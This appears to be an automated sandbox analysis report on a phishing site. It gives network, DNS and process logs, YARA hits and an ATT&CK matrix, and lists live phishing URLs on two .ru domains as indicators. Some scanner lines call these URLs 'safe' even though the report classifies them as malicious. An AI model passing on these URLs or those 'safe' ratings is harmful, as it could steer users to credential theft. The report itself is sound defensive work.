Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: b3rz.5m54lq.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: 1deoi.pnkptj.ru
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com

Source: unknown

HTTP traffic detected: POST /report/v4?s=ApbM6jxYe3oa4efJhudxi6FPxsCbihXPknd2RuseP07KrMZc4EwkE0IdyIkzIdNTCBXqchdwP9hc5PGf%2BccKtT5vvEqxgeHpdDA1w%2FaACwcTMsWUBS1g1e1IhbJUxmueMZmAdh%2Fz HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 447Content-Type: application/reports+jsonOrigin: https://cdnjs.cloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 20 Mar 2025 15:55:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Uh6Tphuqf81YSvzn1HSRcgnX3Zkm0JteAL3X2LhfRr2vkmjq3VluyQCOF03J6a%2FC0eDQ4dRa%2BtrmhdQraLBZVnCitYaro5h%2F5hkUy60oDs3EICFgOXbk5DK9PePBJqdCEYT%2B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=4647&min_rtt=4636&rtt_var=1323&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2041&delivery_rate=618011&cwnd=251&unsent_bytes=0&cid=9ad874455aa9f037&ts=82&x=0"Server: cloudflareCF-RAY: 923664fc3b1625d8-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=99552&min_rtt=99233&rtt_var=21204&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2818&recv_bytes=1706&delivery_rate=37508&cwnd=242&unsent_bytes=0&cid=6ccf87857459c509&ts=509&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 20 Mar 2025 15:55:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CasHUhVDHyPypvd%2B0rSVma6FTaja4xUptPQhl9m%2BXOblHRdFuRJl7rdOiI5jyCGCMi3HsoV0yHObJ5%2FvgILQp8od4Zm5L91eWZFNB2uQE79cu1TsNdOYD5nMK7SeUrrzVrul"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=4596&min_rtt=4565&rtt_var=1775&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2228&delivery_rate=600829&cwnd=251&unsent_bytes=0&cid=44b0092441b28ecf&ts=123&x=0"Cache-Control: max-age=14400CF-Cache-Status: MISSServer: cloudflareCF-RAY: 92366500a927434f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=104079&min_rtt=102379&rtt_var=23099&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2819&recv_bytes=1894&delivery_rate=36233&cwnd=226&unsent_bytes=0&cid=ae84e7aab2756117&ts=530&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 20 Mar 2025 15:55:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareCf-Cache-Status: DYNAMICVary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wK%2Bdm5sASLJ7YuFZd6Oz7baYfWJSwn6hnfxt9QsygLcP0gq1eyiUFHOcg8L%2FKvD%2F%2FERhaB8OIsv8%2B34DLSJbCjrVF2Xr3VucC5zQhgxQDvIrwlWOCaURUhe56sRC95QuhbH3"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server-Timing: cfL4;desc="?proto=TCP&rtt=1449&min_rtt=1353&rtt_var=438&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2047&delivery_rate=1960731&cwnd=245&unsent_bytes=0&cid=3693a705b10d4867&ts=118&x=0"CF-RAY: 92366503d9037274-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 20 Mar 2025 15:55:39 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fq9EWewROlEVhw3vccbhwlMiLd5raQYWbnv9eU%2FBJEWYsIoXUxF7RBR3RHWJBMGIpaS8kyqanFTf77PiGYQRWyR9f8Q5FbUx4FSGeOqmBwU6XIbJMgzxKJeXG76WT87i2OZI"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1074&min_rtt=999&rtt_var=323&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2062&delivery_rate=2714151&cwnd=250&unsent_bytes=0&cid=6c040a12cedc8a8d&ts=121&x=0"Server: cloudflareCF-RAY: 923665206ac7a0fb-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=99060&min_rtt=97966&rtt_var=21814&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2819&recv_bytes=1728&delivery_rate=38030&cwnd=215&unsent_bytes=0&cid=ed4d794c52cf3ba4&ts=541&x=0"

Source: chromecache_92.1.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_92.1.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_87.1.dr	String found in binary or memory: https://www.ebay.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49689
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 142.250.81.228:443 -> 192.168.2.7:49689 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.141.81:443 -> 192.168.2.7:49691 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.141.81:443 -> 192.168.2.7:49690 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.7:49695 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.7:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.7:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.7:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.3.189:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.7:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.141.81:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.7:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.112.3:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.7:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.7:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.7:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.7:49775 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir2736_1650703273

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir2736_1650703273

Jump to behavior

Source: classification engine

Classification label: mal100.phis.evad.win@21/80@32/14

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2052,i,525659408953119786,6796335026671855061,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2084 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://b3rz.5m54lq.ru/A9y-e3M/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2052,i,525659408953119786,6796335026671855061,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2084 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 1.11..script.csv, type: HTML
Source: Yara match	File source: 0.2.d.script.csv, type: HTML
Source: Yara match	File source: 1.12..script.csv, type: HTML
Source: Yara match	File source: 1.5.pages.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://b3rz.5m54lq.ru/A9y-e3M/	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://b3rz.5m54lq.ru/clYqCfSLHMMfutmJWSk5eJ6HZy8tfeJ48	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/uv2j4g0vdXujoriVr06puTpnmvdTqwgTHs1oWfSQBklDt4O45CZyaxcflzMdOyLTW3qoqj5n6AoczctFGAbBV8Xgh260	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/opu8vyTI9BpKDiL2jbbCRDGBouv11mRfWn7sMbqHhuebh7FZmQq2T35emYfh64Lef238	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/GDSherpa-vf2.woff2	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/ijjYvOxYMSzAEsVBStmB794isDmn6Kf0GmqqNgoZ2BKLadyUfgef204	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/GDSherpa-regular.woff	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/ijYcBuqf5Z94VmggjiVqVhakopFE3rucZlkYWWX1q1CFab230	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/efQTK64w0MiBOoPqEhaZWEfykleMB7iip2pL2hWMZXiaQh90141	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/xy8sEcUtK4pgBbthxRMPpKtkyoIMdeQlyILI7gy	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/xyDUcNavBFpq3vIgh25	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/uvSqWmtiKp4YusaslqxkiDjGdG3bstrqtlhKp51ZfY34130	0%	Avira URL Cloud	safe
https://1deoi.pnkptj.ru/bhanchod@18747jh	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/GDSherpa-vf.woff2	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/ijFDhVZ5x4xtW1lwVm71gcdVaYkXcHhHQB5eM56170	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/GDSherpa-regular.woff2	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/qx3APPV8wLDVYwKk4WCMI6qD68lmbosuwXkSHAksMNgJVo4CS3fB7hx	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/34WB3Q5Zd0ilQXlkxyUaYrb8920	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/oprGaEGbXMz6S7UKvCZsG5fDhA1DvdVOF3dauv8xc6jTNdfa2KXoO5ef191	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/GDSherpa-bold.woff2	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/mn2v8EPh1ZX1G9E3kgwfMh5ZMG75Rez5tkl0kvZNFQTCiwUWklJm1NdsDwx220	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/56jhdeaoizqzC4D1weZH9XklIVufCDZ66KbP89109	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/wxZAwU9RSzWHoVxqDm9WrsDu1ztSbiwYSNs0kSNY7DXguu90180	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/favicon.ico	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/opgocw48m1OzfrlKePMpCpS31vyR7fEhmnmP6BY6gqZ9bZuqfpRJ67140	0%	Avira URL Cloud	safe
https://b3rz.5m54lq.ru/GDSherpa-bold.woff	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
b3rz.5m54lq.ru	172.67.141.81	true	true	unknown
code.jquery.com	151.101.2.137	true	false	high
developers.cloudflare.com	104.16.5.189	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
github.com	140.82.112.3	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
www.google.com	142.250.81.228	true	false	high
d19d360lklgih4.cloudfront.net	18.164.124.11	true	false	high
objects.githubusercontent.com	185.199.109.133	true	false	high
1deoi.pnkptj.ru	104.21.80.1	true	false	unknown
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://b3rz.5m54lq.ru/uvSqWmtiKp4YusaslqxkiDjGdG3bstrqtlhKp51ZfY34130	false	Avira URL Cloud: safe	unknown
https://b3rz.5m54lq.ru/ijYcBuqf5Z94VmggjiVqVhakopFE3rucZlkYWWX1q1CFab230	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://a.nel.cloudflare.com/report/v4?s=eVIpU%2BsXzPoZLjG8bfCMxfD0eAFQUtv4RKTBAbNR860uDrwzfOd6XgLbJQ51afXuu9eu1gF5MWg6fvqV82rpJmuCQ2dk1eXGeO1QM4t9WYCSdUJdOrREjjUlYTg6%2B6z8zxuw	false		high
https://b3rz.5m54lq.ru/opu8vyTI9BpKDiL2jbbCRDGBouv11mRfWn7sMbqHhuebh7FZmQq2T35emYfh64Lef238	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://b3rz.5m54lq.ru/GDSherpa-vf2.woff2	false	Avira URL Cloud: safe	unknown
https://b3rz.5m54lq.ru/uv2j4g0vdXujoriVr06puTpnmvdTqwgTHs1oWfSQBklDt4O45CZyaxcflzMdOyLTW3qoqj5n6AoczctFGAbBV8Xgh260	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://b3rz.5m54lq.ru/clYqCfSLHMMfutmJWSk5eJ6HZy8tfeJ48	false	Avira URL Cloud: safe	unknown
